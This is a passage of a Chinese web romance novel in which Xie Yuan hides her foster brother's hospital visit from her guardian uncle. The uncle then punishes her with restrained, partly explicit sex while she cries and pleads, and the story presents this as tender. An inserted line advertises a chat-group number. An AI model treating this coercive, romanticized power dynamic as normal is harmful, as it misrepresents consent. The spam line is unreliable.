但她的心思真的很明显。
沈宴白冷声说道:“今晚不回来了。”
如果谢沅当时留他一句,他可能就不会走,但谢沅想到能给沈长凛看花,是有些高兴的,全然没有多想,挥手就跟他说了再见。
早上七点。
霍阳给她打电话,说沈宴白又有些犯胃病的时候,谢沅心底的后悔全都要满溢出来。
她昨天不该那样子的。
沈长凛今天要去瀛洲那边,早先就已经走了,谢沅换了衣裙,就立刻去霍阳发的地点,她坐在计程车里,连声和司机说开得再快一点。
她心里做过准备。
但见到沈宴白时,谢沅还是霎时白了脸色。
他昨晚喝得不少,后来众人拦都拦不住,霍阳到最后才寻得机会,给他灌了点白开水。
“小谢妹妹,真不是我们有意的。”霍阳见到谢沅就直说,“你哥哥昨天心情不好,我们实在是拦不住。”
他的话音未落,她的眼眶就已经红了。
沈宴白抬眼对上谢沅的目光,颜色略浅的眸里,带着些迷乱,也藏着些清醒。
他哑声说道:“谁让你们把她叫过来的?”
谢沅身上的白裙单薄,她屈膝靠近他,身躯也微微下倾,腰肢纤细,不盈一握,像是一枝在风中颤动的花。
长沙发是深色的,衬得她更加的白,肌肤柔腻如雪,又似梨花般皎洁。
但这朵柔弱的菟丝花,也是会有脾气的。
谢沅的眼眶红着,声音也是哑的:“不让我过来,你是想等到进ICU的时候再让我过来吗?”
之前他胃出血那次,将她给吓坏了。
沈宴白神情微怔,抬手想抚上谢沅的脸庞,擦去她将要落下来的泪水。
但她重重地打开了他的手。
“你的胃很差,为什么还要喝那么多酒?”谢沅哭着喊道,“叔叔会担心,我也会担心的呀!”
那么长的一段话,沈宴白只听得进去一句。
沅沅是会担心他的。
身边还有不少人,但沈宴白此刻却只想将谢沅抱在怀里,有个莫名的冲动在作响,诱得他血脉翕张。
可就在他想要不顾一切,将她拉到怀里时,一道柔软的声音突然响起:“宴白哥哥,你好些了吗?”
女孩一身白裙,腰间系着蝴蝶结,忽然走了过来。
知书达理,温柔浅笑。
谢沅有一瞬间的愣神,还以为又看见了明愿。
她僵硬地直起身,抬起眼眸,突然意识到她刚刚的情绪外溢是多么难堪。
原来哥哥的女友也在这里。
第28章
沈宴白的手已然抬起,但就在将要扣住谢沅手腕时,她站起了身。
他的心情已经不是很愉快了,视线和那突然进门的女孩对上时,更是差到不便言说。
沈宴白大部分时候,对女性是比较客气的,尤其是认识之后。
若是做了女友,那更是百依百顺。
但现在沈宴白直想冷声低喝,将人给赶出去,可那女孩的目光已经落在了谢沅的身上,两人的衣着是有些相像的,纯白色的衣裙,裙摆缀着蕾丝。
更相像的是气质,那是如出一辙的和柔。
只不过谢沅要柔弱上许多。
她的眼眸红着,脸色苍白,不施粉黛。
那是一种没有任何攻击性的美丽,易于摧折,又经不起任何的风吹雨打,像温室里的花朵。
那女孩看了谢沅片刻,唇边扬起淡笑:“你好,你也是来看宴白哥哥的吗?”
该说这群世家公子哥真是浪荡吗?
她才出去一会儿,这又叫来一个。
这句问候很稀松平常,但潜藏着的意思却带着点攻击性。
沈宴白的女友基本都不太喜欢谢沅。
也不知道为什么,她其实挺没存在感的,沉默寡言,连句话都不会多说,但她们就是不喜欢她。
他身边的女人来往无数。
哪怕知道沈宴白对她们没几分真情,霍阳还是从不会轻易开罪这些人。
沈家大少爷看似风流,若是对一个人用上真心,那也是真的情深似海,谁知道哪天会再出来一个明愿呢?
但谢沅也不是旁人能轻易得罪的。
霍阳唇角勾起,起身将谢沅拉到了身后。
“搞错了,妹妹。”他拖着腔调说道,“这是我们沈少家里的妹妹。”
沈宴白一直都知道,霍阳挺疼谢沅的,但看向他轻拉过谢沅手腕时,那种莫名的晦涩情绪又开始上涌。
那女孩愣怔片刻,脸庞泛红:“对不起对不起,我真是太笨了。”
“原来是宴白哥哥的妹妹,”她看向谢沅,就要伸手,“你好你好。”
这样的话如果由旁人来说,可能会显得有些刻意,但是她说出来时,全然不会令人感到怪异,只会觉得亲切可爱。
谢沅不是第一次见到沈宴白的身边人。
他的女友众多,偶尔会带到家里,带到宴席上,就是她想要避一避,也很难躲开。
她垂着眼眸,细声说道:“你好。”
谢沅的手指纤细,从长长的外套衣袖中探出,像是葱白般莹润漂亮。
但她还没和那女孩握住手,沈宴白就扣住她的手腕,将她从霍阳身边拉回来,也制止了她和那女孩握手的动作。
谢沅骤地一疼,眉也蹙了起来,她无措地回眸看向他,不明所以。
沈宴白撑着手臂,眼底有一瞬间的阴鸷闪过,他声音微冷:“我家妹妹胆小,不太喜欢和生人打交道。”
实在是太快了。
谢沅还没看清,他的容色就恢复了平和。
沈宴白就是这样的,他对喜欢和不喜欢的人分得很清楚,喜欢的人,就是再能如何他也乐意哄着,不喜欢的人,怎样小心谨慎,他见了也厌烦。
谢沅一直都是后者。
但刚刚沈宴白朝那女孩开口时,用的是跟待她时一模一样的腔调。
谢沅意识到她可能误会了,喜欢沈宴白的人太多了,他也是不是来者不拒的。
她眼睫低垂,没再多言语,只轻轻将手腕抽了回来。
那女孩满心都是愕然,她有点不太明白,昨天一起喝酒的时候,这位大少爷明明是那般的温柔,怎么一夜过去他就跟变了个人似的。
她强作镇定,轻声说道:“宴白哥哥,那还要我们送你去医院吗?”
昨夜她跟他们一起喝了很多酒。
那时候众人聊得很开怀,还有人笑着逗她是不是附近大学城的,她含糊过去,他们也没多问,继续顺着她的话题往下聊。
她跟富二代们打交道也不少,却也是第一回做众星拱月的公主。
这不是因为她多讨人喜欢,只是因为她身畔这个坐在主位的男人。
越聊下去,她就越意识到这群专意坐在角落里的公子哥权势多大,只可惜她对上层圈子的了解还是太浅薄,听了许久也没听出来他们到底是什么人。
但她怎么也没想到,这不过一夜过去,这个男人就变了面孔。
沈宴白没理会,他漫不经心地看向谢沅。
她的手腕很细,肌肤好像是容易留痕的体质,他轻轻一掐,那皓腕上就泛起了红痕。
沈宴白不由地想起之前有一回,他误以为谢沅手上的掐痕是床笫间弄出来的,在叔叔沈长凛跟前还闹了笑话。
他眸色晦暗,如果她真的被男人带到床上,就是圣人也控制不住恶欲吧?
谢沅的眼帘低垂着,方才被扰乱了心绪,她都快要忘记霍阳给她打电话过来是做什么的。
叔叔让哥哥休息,是不想他太累着。
结果他抽烟喝酒,昼夜颠倒,还来到这种地方,愣生生又喝出来了胃病。
谢沅再度气不打一处来。
“快去医院,哥哥!”她带着脾气说道,“你要是再这样糟蹋身体,我就告诉叔叔了。”
扣 裙 1零5 7二九 77 18
谢沅在沈宴白面前总是安静的、乖顺的。
今天好像是她第一回在他面前说重话。
沈宴白是何等桀骜不驯的人,从前沈老先生在的时候,他连他的话都不听。
但眼下面对谢沅柔弱无力的威胁,向来不可一世的沈家大少爷却弯了弯唇,轻声说道:“那沅沅带我过去。”
就是站在墙边的人,也能觉察出来他此刻的声调有多温柔。
沈家这对兄妹的感情,跟以前相比好像不太一样了,众人暗自对了个眼神,皆是唇边带笑。
小谢妹妹真是厉害,让沈宴白都能露出这种神色。
唯有霍阳的视线始终没移开。
他倚在沙发边,抬眼看向沈宴白,懒洋洋地笑说道:“这回我来做司机吧,哥?”
霍阳这声“哥”唤得莫名,但又意外的顺口。
沈宴白掀起眼皮,看了霍阳一眼-
私立医院外是高大的法国梧桐,盛夏时节,生得郁郁青青。
谢沅不太喜欢医院。
消毒水的味道会让人本能地感到紧绷,但病房里的空气还算清新,玻璃窗撑着,还有花香会飘进来。
沈宴白胃不好,之前助理就说安排体检。
今次刚好得空,索性一起检查了,不过做完检查沈宴白就睡过去了。
他连着熬了两个通宵,作息比在国外时还要更倒转。
谢沅在等报告结果出来,转眼到了十点,各项结果终于都差不多出来,她没叫醒沈宴白,轻轻地将门掩上,然后去拿报告。
这家私立医院是沈家名下的,沈宴白的过往病历又很清楚。
医生们看过以后,温声宽慰谢沅:“没有大碍,就是往后要注意些了。”
谢沅反应过来,是霍阳那群人没有见识过真正的胃病发作,才将事情说得无比严重,见到沈宴白掩住腹部,就纷纷大惊失色。
他爱喝酒,酒量其实也不错,胃病并没有那么容易严重发作的。
不过沈宴白的确总是胃疼就是了。
他的胃与平常人相比要弱上许多,就是跟谢沅比,也是全然比不过的。
谢沅拿了药,回到病房里,沈宴白还在睡着,她看向他眼下的青影,越发确认他的真的又熬了个通宵。
事情其实和她关系不大,但她还是控制不住地感到愧疚。
昨天晚上如果她没有那么自私,硬将沈宴白留下来就好了。
叔叔最近本来就忙,这两天又在瀛洲,如果让他知道,肯定也是要担心的。
可是这医院是沈家名下的,也瞒不过沈长凛。
谢沅低眸看向窗外,迟疑了许久,最终是给李特助通了个电话。
那边接起来得很快,轻声问道:“怎么了,小姐?”
“李叔叔,哥哥今天胃有些难受,来医院了。”谢沅细声说道,“已经检查过了,没有什么事,你能先别告诉叔叔吗?我怕叔叔会担心……”
她的言辞很小心。
电话的另一边沉默了片刻,最终应道:“好,小姐。”
跟李特助讲完电话后,谢沅轻轻地舒了一口气。
他们家是这样的,沈长凛在时,所有事都由他处理,沈长凛不在的时候,沈宴白当家,如果沈宴白也有事的时候,谢沅就要当家。
她根本不会当家,硬生生被推上来几回后,倒也学会怎么处理了。
只是谢沅讲完电话后,就将屏幕按灭了,她没有听得到电话的另一头,那道微冷的低笑声。
沈宴白还在睡着,也不知道什么时候能醒。
她坐在窗边的小沙发上,指节叩在桌案上。
医院是有陪护的人,但谢沅还是不放心。
她在窗边坐了很久,肚子咕咕开始叫之后,才想起她忘记用早餐了。
私立医院的餐饮很好,谢沅没什么胃口,只用了一点就用不下了,不过这里也有果饮,她端了杯桃汁,咬着吸管慢慢地喝。
喝完以后,她回到病房。
沈宴白一点要醒的迹象都没有,谢沅从矮书架上拿了本书,慢慢地开始翻看。
刚才是霍阳送他们过来的,但他有事没有多留,这会儿到了正午,终于得空又开始跟她发消息。
谢沅总觉得,霍阳可能是这个圈子里话最多的人。
他父亲是那样严肃庄重的性子,也不知道怎么养出他这么离经叛道儿子的。
霍阳让谢沅别介意,今早那个女孩不是沈宴白女友,不过是晚上一起喝酒玩了一会儿的陌生人。
沈宴白为人风流,生得又好,在哪里都有一堆人追着。
谢沅早先就已经习惯,在他女友们的跟前,也很注意分寸,她那时愣怔住,只是觉得那个女孩有些太像明愿了。
说起来,她也好些年没见过明愿了。
当初两人轰轰烈烈,很多人都以为沈宴白要收心,但没想到后来的结局会是那样。
谢沅跟她其实并不熟悉,很多事也都是从别人口中听到的。
她是突然想到,明愿也是燕城人,这些年哥哥假期不在燕城常待,会不会有可能是想避开明愿呢?
沈宴白的世界实在太高了,寻常人很难接触到,哪怕那个人是明愿。
除非是他主动,编织罗网,处心积虑地去接近一个人。
谢沅摇了摇头,不再多想,但她刚将思绪拽回来,就听见陷入梦魇的沈宴白在低声唤着什么。
梦魇的滋味很不好受。
每回谢沅被魇住,沈长凛都会将她唤醒,然后把她抱在怀里哄一会儿,等她的眉头舒展开来,才放她继续睡。
她从小沙发上坐起身,走到沈宴白的跟前。
他的眉头紧锁,低声唤道:“愿愿……”
当年的事沈宴白可能真的很不甘,谢沅不太懂情爱之事,她只是忍不住地想到,如果那般放不下的话,哥哥为什么不去将明愿再追回来呢?
如果是他的话,这世界上怎么会有女孩子能够拒绝?
虽然是梦魇,但是出现了想见的人,就不叫梦魇了。
谢沅眼睫颤抖,轻轻地将手收了回来-
已经查出没什么问题,沈宴白就没在医院多待,下午三点他睡醒,连午餐都没用便要回家。
他有些认床,在医院睡得不舒服。
谢沅担心沈宴白再难受,又拗不过他,只能悄悄地跟家庭医生先发了消息。
司机过来接,谢沅想让沈宴白靠坐得舒服些,去了副驾,他冷笑一声,她刚想说些什么,他就反手将车门摔上。
他身上一不舒坦,脾气就格外差,谁都能迁怒。
谢沅没有多言,径直坐进车里,然后继续跟李特助发消息。
但她还是有点小脾气,哥哥真是不识好人心,早知道她就不帮他瞒着叔叔了,到时候沈长凛一个电话打过来,她很想知道,沈宴白还能不能这样?
不过现在已经瞒了,也没有办法再悔改。
沈长凛要是发觉,谢沅自己也逃不掉责罚,还不如一瞒到底。
半条路上栽植的都是法国梧桐,入眼尽是郁郁青青,她喜欢这种有生机的颜色,安安静静地看了许久,心情也渐渐放松下来。
下车后,沈宴白心情还是不好。
谢沅看着他的背影,隐约猜想他为什么跟温思瑜不对付。
两个人都是大小姐脾气,怎么可能对付的起来呢?
谢沅跟在沈宴白的后面,慢慢地走进门,上楼时她倏然想起她忘了什么,好在园艺师已经帮她把那些玫瑰花都处理过了。
她盘腿坐在起居室的地毯上,仔细地看过了每一株花,然后才放心下来。
晚上七点,沈宴白又敲开了谢沅的门。
他低声说道:“下来用餐。”
谢沅起身去开门,点头应道:“我马上就下来,哥哥。”
她拿着一支小剪子,怀里抱着许多束花,正在笨拙又认真地插花,也不知道要送给谁,竟然那么仔细。
沈宴白会迁怒人,但其实很少会误会人。
谢沅不太聪明,中学时学数学非常吃力,最后高考也没能考到一百四。
难为她父亲是数学界不世出的天才,这脑子不知道怎么长的?
可谢沅的确是那种很认真的孩子。
她真的会为了一道题、一个公式不吃饭不睡觉。
无论是昨天的事,还是今天的事,谢沅做的都一点问题没有,她甚至对他这个名义上的兄长,有些超出职责的认真。
有问题的是沈宴白自己。
莫名的恶欲在不断地翻涌,让他的血脉都不能平复。
沈宴白忽然很想将谢沅怀里的花给夺走,就当这是送给他自己的,可低眼对上她清澈的水眸时,他只哑声说了句:“快点。”
她连连点头,应道:“好的,哥哥。”
沈宴白离开后,谢沅将花枝修剪好,方才下楼用晚餐。
她特意与营养师、阿姨都说过,这些天的餐食要清淡些,哥哥的胃不太舒服。
不过沈宴白对吃喝不讲究,一点都没注意到。
用完晚餐后已经是八点,沈长凛的电话打过来,谢沅将喝了一半的椰子水放下,匆忙按了接听。
男人的声音很轻:“沅沅,今天都干什么了?”
沈宴白已经上楼了,谢沅走到露台边,指节收紧,平静口吻说道:“今天看书了,叔叔,还在读海德格尔。”
“……然后,然后还出门了,”她细声说道,“去见了霍阳哥他们。”
谢沅真的很不擅长说谎,尤其沈长凛的心思还那样缜密。
她很想换个话题,问他今天累不累,但话题还没有拉远,沈长凛的问题又来了。
他问得详细,谢沅答得吃力,额前也覆上薄汗,一不留神,前后就出现错讹。
如果不是深知李特助的人品,她都要疑心沈长凛是不是已经知道了。
她真的不是有意瞒他。
谢沅的手指越收越紧,当言辞又出现漏洞的时候,她都想干脆坦白算了,却不想沈长凛轻轻放过了她。
他漫不经心地说道:“明天晚上张家有个局,我可能回不来,记得跟你哥哥说,让他过去。”
一通电话下来,谢沅的掌心都是冷汗。
她颤声道:“好,叔叔。”-
沈宴白张扬恣意,但真的很听沈长凛的话,沈长凛一发话,他就直接应下来了。
翌日下午五点,他就出发了。
谢沅陪着沈宴白早早先用了晚餐,然后便不打算多用了。
沈长凛不知道何时才回来,她早早地沐浴,接着爬上床准备看电影。
二楼有家庭影院,但是谢沅实在懒得动了,她开了卧室里的投影仪和音响,抱着玩具熊躺在床上看动画电影。
谁知道她在看这个,都要说她幼稚。
可是谢沅喜欢。
她把水果和饮料全都准备好了,小碟子里还放着些冰块。
就当谢沅准备好好开始看的时候,她卧室的门忽然被人从外面打开了。
是沈长凛。
叔叔不是说今晚可能回不来吗,怎么这么早就回来了?
谢沅茫然地抬起水眸。
她还在想是先跟沈长凛打招呼,抑或是先将投影仪和音响给关掉的时候,沈长凛就已经走进。
他取下深色的手套,漫不经心地将门给反锁上。
最厚重的一层窗帘,也被他用门口的触屏开关给拉上。
谢沅脑中警铃大作,本能地感到害怕,但她反应过来得太迟了。
沈长凛缓步走近,轻声问道:“上一次的伤,已经养好了吧?”
他的话语多温柔,像是风一样,抚上谢沅后腰的那双手也是,丝毫气力也没用,但就是能将她所有的恐惧情绪全都唤起。
吊带裙很好脱,只在后颈处有一根细带。
轻轻一勾,便全褪下去了。
可沈长凛没有那样做,他轻轻地吻上谢沅的额头,低声说道:“沅沅是乖孩子,对吗?”
第29章
沈宴白将近凌晨才回来,他回国后一直在公司忙,就是这几日才和私下的朋友聚了聚,已经有些时候没有正式出席这种场合。
他精力好,并不会觉得累。
但整整一个晚上下来,说不疲惫那也是假的。
沈宴白拨弄了拨弄被发胶固定好的短发,一边滑动屏幕看消息,一边扶着栏杆上楼梯。
这个点谢沅肯定已经睡了。
她作息很健康,平常不会熬夜,早上也不会起得太迟,三餐更是规律。
但路过时,沈宴白还是鬼使神差地靠近了谢沅的房门。
家里隔音很好,他本来只是想站片刻,将手里这一条消息给回完,指节敲击屏幕时,却倏然听到了少许破碎的低泣声。
缠绵柔弱,楚楚可怜。
哭声压得很低,很像是做了噩梦。
说来沈宴白这两天也常被魇住,他的思绪飘得很远,总是想起谢沅读书时的事,学校组织郊游,却意外下了大雨,她跌伤了,腿上全是血。
趴在他的肩头,哭得泣不成声。
梦里的铁锈气浓重,但不知道为什么,下山的路却仿佛没有终点,随行的医生更是不知去了何处。
或许那是他们之前为数不多的一次亲近,所以才会频繁到访梦境。
沈宴白站在谢沅的门前,轻轻抬起手。
她的低泣声压得很低,渐渐地却高了起来,哭喊声支离破碎,像是从喉间被强迫地发出来。
到底是梦到什么了?怎么哭得那样可怜?
沈宴白屈起的指骨几乎就要碰到房门,却在最后的关头停了下来。
在深夜敲开妹妹的房门,像什么呢?
如果谢沅问起他是如何听见的,他又该怎么解释?要知道在这条长长的廊道中,谢沅的卧室在最深处。
被发胶固定好的短发散落,垂在额前。
沈宴白将那缕碎发往后拨弄,最终是无声地离开了。
他不知道的是,此刻的谢沅非但没有入梦,反倒分外的清醒着,神经被深重地刺激着,连灵魂都要被陌生的感触逼得欲死。
她的腕骨被柔软的绸缎缚着,纤腰也倾折得快要断裂。
细腻的布料不会磨伤肌肤,但却能剥夺她所有的挣扎余地。
谢沅的嗓音早就已经哑了,就是哭声也是细弱无力的:“能不能解开,叔叔?”
她恳求地看向沈长凛。
男人的容色冷淡,他轻抚了下谢沅的脸庞,将她簌簌垂落的眼泪拂去,低声说道:“你不是觉得掰着累了吗?”
他的指节冰冷,带着雪松的气息。
谢沅的面颊滚烫,仅仅是这样微弱的冷意,也让她本能地渴望靠近。
她讨好地用脸庞轻轻蹭着沈长凛的手掌。
“我不累了,叔叔……”谢沅声音哑哑的,像是被冷水湃过的瓜果,透着甘美的沙甜。
她抬起眼眸,水色摇曳,波光潋滟。
见沈长凛的容色依然冷着,谢沅的眼睫颤得更厉害,她樱唇轻启:“请叔叔……,求您……。”
她头一次在完全清醒的状态下,说出这样破禁的话语。
但谢沅真的不知道要怎样做了。
她的脸庞羞得通红,因别样感触给被激起的眼泪也又掉了下来。
沈长凛的眸色晦暗,他轻抚上谢沅如雪般的细腕,低眼看她:“再说一遍,沅沅,你是我的什么?”
她快要被逼疯了,说过一遍后,再也说不出来第二回。
谢沅哭得厉害,像是熟透的馥郁花朵,眼尾都泛着湿红的艳色。
但沈长凛总有办法让她开口的。
被抱起的时候,谢沅整个人都倾在了他的怀里,脸庞贴在他的衣襟,腿根颤着,怎么也没法好好坐在她的膝上。
她有好多眼泪,肩膀一抖一抖的,哭得梨花带雨,仿佛没有尽头。
太烫了,也太疼了。
根本就没法坐下去的。
但谢沅的手腕还被束缚着,她寻不到任何的着力点,全靠沈长凛扣住她腰身的那双手,勉强地保持平衡。
“我真的知道错了,叔叔……”她哭着说道,“以后我都不会再说谎了。”
谢沅心底的后悔快要满溢出来。
她竭力地想要唤起沈长凛的怜悯心,但他只是轻轻掰过她的脸庞,唇边含笑:“你是好心,又不是有意说谎,叔叔已经原谅你了。”
“将刚才的话再说一遍,沅沅。”他轻声说道,“时间已经不早了,你说完我们就睡觉。”
沈长凛的声音温柔,看向谢沅的目光也没有了冷意。
她忍不住地相信他,樱唇轻轻地张开,又将话说了一遍:“请叔叔……,求您……。”
沈长凛吻了吻谢沅的额头,低声说道:“乖孩子。”
他的言辞轻缓,眉眼间也带着疼宠,仿佛无论她做什么,他都会原谅她。
但是攥着谢沅腰身的那双手却不是这样的,仅仅是一个瞬间,压抑的感觉全都炸裂开来。
她死死地咬住唇瓣,还是尖叫出声-
翌日睡醒的时候,谢沅依然是快要疯掉,她将脸庞蒙在薄被里,粉腮滚烫得近乎灼热。
她连眼眸都不想睁开,更不用说去面对其他。
哪怕昨天的事,是在谢沅不清醒时做下的,她都会羞耻得想找个地缝钻进去,更遑论昨晚她全程都是清醒的。
她侧过身,身躯蜷起,眼眸也紧紧地闭着。
今天她不要起床了,她得……得缓一缓才成。
谢沅藏在薄被里,从枕边摸到手机,然后跟阿姨发消息,说她今天不要用早餐了。
但她还没划开屏幕,一双手就探进被里,将她的手机给收走了。
谢沅愣怔地抬起眼眸,转眼就被沈长凛掐着腋下从薄被中抱了出来。
她穿着宽松的睡裙,锁骨处黑色的蝴蝶结轻轻飘动,将脖颈处的肌肤衬得愈加白皙。
一双盈满水色的眼眸看过来时,尽是茫然。
卧室里的冷气开得太足,从薄被中出来后,谢沅有些冷,肩头也在无意识地颤,沈长凛看她一眼,将温度调高少许。
室内很安静,细微的声响也那般明晰。
沈长凛将牛奶端给谢沅,轻声说道:“是想要我喂你喝吗?”
她失神片刻,听到他的话语,才骤然回过神来。
因是在家中,沈长凛的衣着并非十分正式,丝质缎面的法式衬衫极显矜贵,宽松的衣袖在腕骨处收紧,叠袖处是枚银色的袖口,衬得那双手越加修长如玉。
他的下颌微扬,俊美的脸庞被光照亮。
既尊崇俊美,又高雅贵重,像是中世纪的宫廷王爵。
谢沅跟沈长凛一年四季都待在一起,这半年更近乎是每天都能见到他,但抬眸和他再度对上视线的时候,她的神情还是滞了片刻。
须臾,她才连声说道:“不用,叔叔,我自己来就可以。”
谢沅的脸庞涨得通红,她从沈长凛手中接过杯盏,就大口地将牛奶喝了下去。
隔了一个晚上,她樱唇上的肿痕已经消退很多,但还是比往常要更红一些,吞咽着乳白色的牛奶,像是跟吃什么似的。
喝完以后,唇边有了奶胡子。
谢沅探出嫣红的舌尖,轻轻舔了舔唇瓣。
那么红的一点,是什么柔软滋味,早已尝过千回百次,但倾身的动作,仍是如本能般流畅。
谢沅眼眸睁大,无措地和沈长凛接了个吻。
她本来就羞得欲死,现在更是连脖颈都泛起红来,耳尖更是烫得不可思议。
好在他吻得很轻很浅,没再像昨夜那样掠夺。
一吻结束后,沈长凛用纸巾帮谢沅擦了擦唇,纸巾很柔软,但她的唇瓣更柔软。
下唇的某一处当时不小心咬破了,还有细微的血痕。
被抚过的时候,谢沅轻轻吸了一口气,他将纸巾扔掉,用指腹轻碰了碰,声音低哑:“抱歉,当时没留意到。”
她将白昼和夜间分得很清。
晚间被沈长凛怎样弄,都还能忍下来,但是白昼时,被他轻轻讲一句,她都羞得要说不出话来。
谢沅的耳垂滚烫,声音细弱:“我没事,叔叔。”
她有低血糖,不能常不好好吃饭。
知谢沅今天肯定不会下来用早餐,沈长凛就令人将餐点送上来了,昨天将人罚得太过,小孩子又被吓着了。
但若是不狠罚一回,也是不行的。
在某些事上,谢沅是真的不长记性,他心里是这样想,低眼看见她泛红的眸子时,却到底没能真的下去狠手。
沈长凛将谢沅抱在了怀里,他用了一个让她很舒服的姿势。
既不会觉得疼,又能好好地用早餐。
除却姿势太像喂小孩子外,没有什么不妥。
谢沅坐在沈长凛的腿上,她应该感到紧张和害怕的,毕竟他昨天才那样惩诫过她,但不知道为什么,被他抱到怀里时,她的心神总会突然变得很放松。
她的手指蜷起,乖乖地张开樱唇。
沈长凛从没照看过孩子,但他很擅长照顾谢沅。
哪怕是她不太喜欢的蔬菜,他也能将之混在其他食物里,面不改色地喂她吃下去。
谢沅又很好骗,她吃完都不知道,里面混的有不爱吃的蔬菜。
她用餐时人是很乖的,让吃什么就吃什么,还会软声说“今天的早餐很好吃”,让喂她吃饭的人,也会柔软心神。
用完早餐后,沈长凛帮谢沅擦净唇角,然后把另一个杯子里的雪梨汁递给她。
她一边咬着吸管喝果汁,一边小心地抬眼看他。
那副姿态真是跟猫崽子似的。
还是胆子比较小的猫崽子。
沈长凛站起身,将室内的窗帘用遥控全部拉开,落地窗外是一片青绿,谢沅平日最爱做的,就是在这边看书、看风景。
有时下雨,她能在这里看一整个下午。
沈长凛凝眸看向窗外,声音很轻:“有话就说,沅沅。”
谢沅还在喝雪梨汁,听到他的话,吓了一跳。
叔叔是会读心吗?怎么猜出来她在胡思乱想的?
沈长凛回过身,缓步向她走来,他的身后尽是青绿,高挑的身形被衬衫和西裤勾勒分明,分明是高门豪族的掌权人,但又恍若带着谪仙之意。
不染人间烟火。
他单手插在西裤中,满身都是矜贵的气度。
但看向谢沅时,那双色泽略浅的眸里却只有温和与包容。
以前她最怕的就是碰上沈长凛的目光,后来不知什么时候,她突然渐渐适应与他对视。
“叔叔,昨天的事我真的不是有意说谎,也不是想帮哥哥瞒着,”谢沅仰起脸庞,细声说道,“您远在瀛洲,事务又繁忙,我是怕您担心,才那么说的……”
沈长凛对沈宴白向来是很好的。
他是沈长凛在这个世界上为数不多,还有血脉牵连的人。
沈长凛也是他在这个世界上少有的几个还有血脉牵连的人。
叔侄之间,情谊深重。
沈长凛从来不管沈宴白感情上的事,他谈多少任女友,和那个平凡的女孩有牵扯,在社交平台上惹得一群人发疯,沈长凛通通都不管。
但他身体的事,沈长凛是在乎的。
秦沈两家,多的是白发人送黑发人的事。
让沈宴白休息,他不休息,那还不如继续回去工作,至少他在公司生病出事,还时时有人看着,完全不须要将家里的妹妹叫到夜场去接人。
沈长凛声音很轻:“昨天就说过了,没关系的,沅沅。”
“你是好心,又是为我着想,我怎么会怪你呢?”他看向谢沅,“而且这种事你不说,我也会知道,没有必要跟叔叔说谎的。”
她仍是有些愣怔。
沈长凛俯身,轻抚了抚谢沅的脸庞:“哪怕是你跟着哥哥去夜场玩,只要如实告诉我,我都不会怪你的。”
她的眸光颤动,长睫也掀了起来。
“但我不喜欢沅沅说谎,”沈长凛轻转话锋,“你说谎又圆不好,我才会担心。”
谢沅想起当时做的事,更加羞愧了,她攀上沈长凛的脖颈,睫羽抖动:“我知道错了,叔叔。”
这一回微怔的人是沈长凛。
沈长凛以为谢沅要一段时间才能缓过来的,小孩子的脸皮薄,年纪又小,从前半句话说不完,都能哭出来。
但没想到,沅沅竟然会主动地拥住他-
沈长凛一句重话没说,只温声细语,言说有一个项目不错,沈宴白要是感兴趣就去做。
他二话不说就滚回了公司。
对于这几天发生的事,沈宴白心里是有愧疚的。
这世上他谁都可以对不起,但是唯独不能对不起沈长凛。
常言道:长兄如父。
沈长凛与沈宴白年岁没有差的太多,他虽然是他的叔叔,但与他的兄长也没什么两样。
在沈家最危难的时候,是沈长凛撑起了整个沈家,他给予沈宴白的不仅仅是数年的安稳,还有更多连亲身父母都没能给予的关怀。
沈宴白谁的话都不听,他不会不听沈长凛的话。
现在连谢沅的事,他也渐渐低头了,如果沈长凛知道他和谢沅关系缓和,应该会高兴些的吧?
沈宴白站在洗手间的镜前,撩水洗了把脸。
他的眉眼是很桀骜的形状,仅仅是瞧着,就能令人知悉他是怎样不循礼法的人。
这样的眉眼,笑着时尚会令人生惧。
更不要说是冷眼含怒时了。
也不知谢沅那胆小的性子,刚进沈家的时候,是费了多大的勇气才没被他吓走的。
沈宴白点了支烟,在露台抽完,然后才回到办公的地方。
天边的烟霞是紫红色的,时间还早,不过他回去的时候,谢沅应该还没有睡着,她最近常在露台的秋千吊椅处看书。
他有些想知道,她昨夜到底梦见什么了,才会哭得那么厉害。
沈宴白正在想着,桌案上的屏幕突然亮起,看到来电人【秦承月】三个大字,他冷笑一声,扬起了眉眼。
第30章
沈长凛的吻很轻,轻得有些过分了。
谢沅刚刚沐浴过,被他托着软臀的嫩肉抱起时,眉眼间都还带着水汽。
黑色的吊带裙柔软,细带从肩头轻轻地滑落,质地冰凉细腻,几乎不像是丝绸,而像是流水。
她的唇瓣微肿,生涩地回吻着沈长凛。
谢沅吻技差,怎么教都教不好。
不过她青涩的反应,在某些时候会带来另一种感触。
谢沅坐在沈长凛的怀里,吻了片刻后就要喘不过气,趴在他的肩头,气喘吁吁,脸颊也泛起绯色。
沈长凛抬手,将矮几上的冰水喂到她的唇边。
露台边的凉风吹得人很舒服,谢沅樱唇微张,喝了小半杯冰水后才渐渐缓过来。
只那双清澈的眸里依然水意盎然。
沈长凛屈起指骨,揉了揉她的唇瓣,轻声说道:“沅沅做得很好。”
谢沅的肩头雪白,黑色的吊带滑落后,那上面浅红色的花瓣更加明晰,轻轻颤动时像一支桃花。
她不想让表情太明显,但听到他的夸赞后,唇角还是稍稍翘了起来。
沈长凛的唇也扬了起来,他倾身吻了吻谢沅的额头。
她今天一整日都是在起居室和卧室度过的,沈长凛陪她看花,她也把之前插好的花送给他。
还好专门放在小冰柜里了,不然还没送出去,就可能已经蔫了。
沈长凛这段时间忙碌,两人很久没这般温存过。
自从上次的事后,秦承月再没联系过谢沅,沈长凛也没有提起过他。
她隐约有预感,他们这桩婚事不会成了。
谢沅也说不出心里到底是什么想法。
她比谁都清楚,当初沈长凛将她留在沈家的目的是什么,嫁给秦承月对谢沅来说,是回报他必须要做的一件事。
这段婚姻不仅能够让两家的联系更加紧密。
其实还有一个潜藏的意味,就是让谢沅作为沈家的耳目,去看着秦承月。
两全其美的事,谁也没想到,最后竟是闹得这样难堪。
除却对谢沅一直娇惯着、疼纵着,沈长凛对旁人向来都是严苛的,秦承月私下里与温思瑜有牵扯,然后又让谢沅差些出事。
且不说别的,只这两件,就足以令秦承月盖棺了。
如果没有前者,沈长凛对后者的宽容可能还会大些,但秦承月近来太多次碰着他的底线了。
谢沅也没法再给秦承月说好话。
她和沈宴白本质是一样的,他们在乎的从来就只有沈家和秦家——或者说,沈长凛一个人的利益。
现在沈长凛明确表露出了不想让谢沅嫁过去的意味,她自然是不可能再去忤逆他。
至于其他的事,谢沅还没能够去想更多。
而那些事,也不是她能够去多想的。
她轻轻地垂下眼眸,长睫在眼睑洒落一层阴影。
